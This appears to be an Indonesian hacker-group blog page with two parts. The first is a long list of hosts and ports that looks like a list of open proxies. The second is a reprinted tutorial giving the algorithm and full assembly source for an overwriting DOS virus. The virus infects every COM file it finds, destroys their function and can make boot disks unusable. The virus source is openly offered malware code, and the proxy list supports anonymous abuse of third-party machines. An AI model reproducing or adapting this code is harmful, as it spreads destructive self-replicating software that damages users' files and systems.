dns1.koibuchi.ac.jp:80
dns1.konoe.co.jp:8080
dns1.proserv.co.jp:80
dns1.sysrun.co.jp:80
dsl-gte-se17146-1.linkline.com:80
e149.dkm.cz:3128
eclipse-1.richmond.k12.nc.us:80
eict-mail.systemec.nl:80
ensait19.ensait.fr:80
enteleca-2.dsl.easynet.co.uk:80
eos-svr.kazushige.co.jp:80
extranet.ices.fr:8000
fl-wbu1-c4-196-9.pbc.adelphia.net:3128
ftp.aparizona.com:80
ftp.ices.fr:8000
ftp.orange.uk.com:8000
fw-serv2.vogel-lube.com:80
fwall.digitex.net:8080
ga-cmng-u1-c5a-257.cmngga.adelphia.net:3128
gate.groth-gruppe.de:8080
gateway.distribuidoresgm.com.mx:8080
gauntlet.transnet.co.za:80
gehttpi0.mundivia.es:80
globalprintinginc.com:80
h-209-91-81-58.gen.cadvision.com:8000
h00606743a465.ne.client2.attbi.com:3128
h066060029099.isol.net.ar:80
h24-64-174-186.cg.shawcable.net:3128
h24-66-25-235.wp.shawcable.net:3128
harlemschoolofthearts.org:80
hcns002.zaq.ne.jp:80
hcns002.zaq.ne.jp:8080
home.centernet.de:8080
home.fr.clara.net:8080
host-208-51-130-126.choiceone.net:80
host-63-82-42-188.verestar.net:80
host-a018.fmpalulun.co.jp:80
host063083.arnet.net.ar:8000
host1.tokyoftc-unet.ocn.ne.jp:80
host104-139.urbana.edu:80
host114-153.pool21757.interbusiness.it:80
host146-243.pool21757.interbusiness.it:8080
host156-160.pool21757.interbusiness.it:80
host182-184.pool21759.interbusiness.it:3128
host186-211.pool21758.interbusiness.it:80
host2.upv.cust.sover.net:80
host210-162.pool21758.interbusiness.it:3128
host217-34-194-49.in-addr.btopenworld.com:80
host226-10.pool21756.interbusiness.it:80
hughes3.lnk.telstra.net:80
iata02.terra.net.mx:3128
ibm1000.monolith-prime.co.jp.32.131.227.210.in-addr.arpa:80
imhotep.seeweb.it:80
imsp043.netvigator.com:80
inetsrv.yodakubo.ed.jp:8080
int-200-49-210-45.movi.com.ar:3128
internet-server.ebf.com.br:80
internetdigital.grupogazeta.com.br:80
intersv.musashiogose-h.ed.jp:80
invis.free.anonymizer.com:80
io.sunrem.com:80
ion-wc1-ria.sprinthome.com:80
ip-36-018.guate.net:80
ip-64-7-171-146.mercury.net:80
ip210.139.adsl.online.kz:8080
ipblock209-209-002.octetgroup.net:80
ipblock209-209-002.octetgroup.net:8080
ipd50a287c.speed.planet.nl:80
ipvpn023083.netvigator.com:8080
ipvpn034140.netvigator.com:80
ipvpn034141.netvigator.com:80
is-server.kcs.ac.yu:80
is.lg.ua:3128
is06.suresystem.co.jp:80
isv1.amistar-unet.ocn.ne.jp:80
jaguar2000.ub.mng.net:8080
jc.oodate.or.jp:80
jul.beinan-chs.yonago.tottori.jp:80
kitaro.webserve.ne.jp:80
lak-56k-254.tpgi.com.au:80
landca.lnk.telstra.net:80
lsanca1-216-194.lsanca1.dsl-verizon.net:8080
lyk-ralleion.att.sch.gr:80
m210.net195-132-5.noos.fr:80
mail.allanboyle.co.nz:80
mail.aokilab.com.hk:80
mail.archivaustria.at:3128
mail.arena-it.co.uk:80
mail.banque-harwanne.fr:8080
mail.care.org.gt:80
mail.ccbjhb.co.za:8080
mail.crownuniform.com:80
mail.esataccess.com:8080
mail.francemp3.com:8080
mail.gadormail.com.ar:8080
mail.hindal.com.au:80
mail.ism-sa.fr:3128
mail.ism-sa.fr:8080

www.n-ahs.org:80
www.nisshin-syouji.co.jp:80
www.nsk-hp.co.jp:80
www.omise-navi.com:80
www.qdh.or.jp:80
www.retailinfogroup.com:8000
www.smhs.org:80
www.southern.wvnet.edu:8080
www.statelib.lib.in.us:8000
www.trade.marufuku.co.jp:8080
www.unedtf.rcanaria.es:80
www.volkswerft.de:80
www.wopl.org:8080
www2.soas.ac.uk:8000
wwwcache2-ext.lancs.ac.uk:80
wwwcache2.lancs.ac.uk:80
yuluma.wa.edu.au:80
zeus.sai.msu.ru:3128

www.kan-shoku.co.jp:80
www.mccann.com.ve:80
www.monolith-prime.co.jp:80

::AlBaFoRcA-NetWoRk::
Listen e perpunon MrFlash

Published in: on at 8:18 am Leave a Comment

Virus

Pemerograman Virus Komputer Bagian II
Author : Dr`Ponidi
Edited by : SaMuRai_HaCk
Dedication : For Knowledgement & Open Source
Greetz : #DEFACE-TEAM@…
#DHEGLENG@…
Terbitan Online kecoak elektronik
http://www.k-elektronik.org/
======================================================================
==

1. Pendahuluan

Virus komputer yang akan dibicarakan dibawah ini ditulis dalam bahasa
assembley.Bila
dibandingkan dengan virus bacthfile, yang pernah kita bicarakan maka
virus yang kita bahas
sekarang ini telah memiliki kelima kemampuan seperti apa yang telah
saya sampaikan
terdahulu.
Virus ini mampu mencari semua file COM yang ada pada disket, serta
memeriksanya apakah
telah tertular atau belum.Bila belum, maka virus akan
menularinya.Routine manipulasi yang
dimiliki virus ini hanyalah berupa tampilan pesan :
“File ini telah tertular Virus komputer!” atau “Semua file COM pada
disket ini telah
tertular virus komputer!!!”.
Berbeda dengan virus batchfile yang menghasilkan file baru dan
membutuhkan beberapa file
untuk menjalankannya, maka virus yang akan kita bahas ini nantinya
dapat bekerja sendiri
dan tidak menghasilkan file baru, sehingga kemampuan menyembunyikan
diri dari virus ini
lebih baik.
Seperti halnya virus batchfile, virus dibawah ini adalah termasuk
jenis virus yang
menumpangi program yang ditularinya.Dengan demikian virus ini
bersifat merusak.

2. Algoritma

Algoritma yang digunakan adalah sbb:
1. Cari file COM yang pertama
2. Buka dan baca file tersebut, letakkan pada buffer (di RAM)
3. Dengan membandingkan tanda pengenal virus dan rangkaian byte
bagian awal dari program,
periksa apakah file tersebut telah tertular virus atau belum.
4. a) Bila belum, maka tulari file tersebut dengan jalan menyalin
seluruh program virus
ke file tersebut (menumpangi).Kemudian tampilkan pesan :”File
ini telah tertular
Virus Komputer !”
b) Bila sudah, maka carilah file COM berikutnya.Ulangi langkah 2.
5. Jika semua file COM telah tertular, maka tampilkan pesan : “semua
file Com pada disket
ini telah tertular virus komputer!!!”

3. Program dan Mekanisme Penularan

Program dibawah ini merupakan implementasi dari bagian diatas.

Catatan : Program virus ini menggunakan instruksi macro.Definisi
macro yang digunakan
terdapat pada file LAMMER.MAC. klo pengen liat file
macronya kirim email ke
Dr`Ponidi@…)

;———————————————————————
—————
; LAMMER.ASM
;
;CODE BY : #DEFACE-TEAM@…
; #DHEGLENG@…
;
;RETRIEVAL SYSTEM BY: DR`PONIDI@…
;
;VIRUS INI MENYERANG DAN MERUSAK SEMUA FILE COM.
;BERHATI-HATILAH!
;———————————————————————
—————

IF1
INCLUDE LAMMER.MAC
ENDIF

Code_seg SEGMENT
ASSUME CS:Code_seg
ORG 100h
Mulai : jmp kerjakan
Identitas DB `File ini telah tertular virus komputer !$`
Peringatan DB `semua file COM dalam disket ini telah tertular virus`
DB `Komputer !!!$`
File_COM DB`*.com`,0h
Nama_file DB 13 DUP(?)
Panjang_id equ 45
Panjang_vir equ 445
Atribut equ 20h
Open_code equ 2
Jumlah equ 0ffffh
DTA DB43 DUP(20h)

Kerjakan : Set_DTA DTA
Mov ax,0
Find_first file_COM,Atribut
Masih_adakah:cmp ax,0
Je Laksanakan
Cmp ax,2
Je Keluar
Tulis_string peringatan
Jmp Keluar
Keluar : Ke_dos
Laksanakan : mov si,offset DTA + 30
Pindahkan_string 13,nama_file
Buka_file_DTA DTA,Open_code
Push bx
Baca_file bx,Buffer,jumlah
Push ax
Mov di,offset Buffer + 3
Bandingkan-string Identitas,panjang_id
Cmp bx,0
Je Cari_lainnya
Mov si,100h
Pindahkan_string panjang_vir,Buffer
Pop ax
Pop bx
Push ax
Tutup_file bx
Hapus_file Nama_file
Buat_file Nama_file,Atribut
Buka_file Nama_file,Open_code
Pop ax
Tulis_file bx,buffer,ax
Tutup_file bx
Tulis_string identitas
Ke_dos

Cari_lainnya : pop ax
pop bx
Tutup_file bx
Find_next
Jmp masih_adakah
Buffer Label byte
Code_seg ENDS
END mulai

4. Penjelasan

Awal dari penularan dimulai ketika program virus ini dijalankan pada
disket yang berisi
file-file COM.Virus mula-mula akan menulari file COM yang pertama
(berdasarkan urutan
file-file pada disket).Dengan penularan ini, maka file tersebut
menjadi sumber penularan
baru, dan virus yang asli dapat dihapus.File-file yang telah tertular
ukurannya tidak
berubah.
Bila file yang telah tertular itu dijalankan, maka file itu tidak
dapat menjalankan
fungsinya dan hanya akan menampilkan pesan :”File ini telah tertular
Virus
komputer!”.Sebelumnya, file tersebut akan menulari file COM lainnya.
Bila kebetulan file .COM pertama yang diserang didalam directory
utama adalah COMMAND.COM,
maka setiap kali melakukan boot dengan disket itu, tak akan pernah
berhasil dan sebelumnya
virus akan menulari sebuah program COM lain yang belum tertular.
Harapa diperhatikan bahwa virus ini tidak dapat bekerja dengan baik
bila berada pada file
COM yang ukurannya lebih kecil daripada ukuran program virus yang
asli, atau terlalu besar
(mendekati atau lebih dari FFFF heksadesimal = 64KB)
Ini disebabkan karena program virus tidak dapat disalin secara
lengkap atau buffer telah
melampaui batas daerah CS (Code Segment)

Demikianlah Artikel yang dapat saya sampaikan pada kesempatan ini,
Semoga informasi yang
saya sampaikan dapat bermanfaat bagi pengetahuan bagi kita
semua ,khususnya bagi yang
concern terhadap virus.Sekian terima kasih cao

Published in: on at 8:14 am Leave a Comment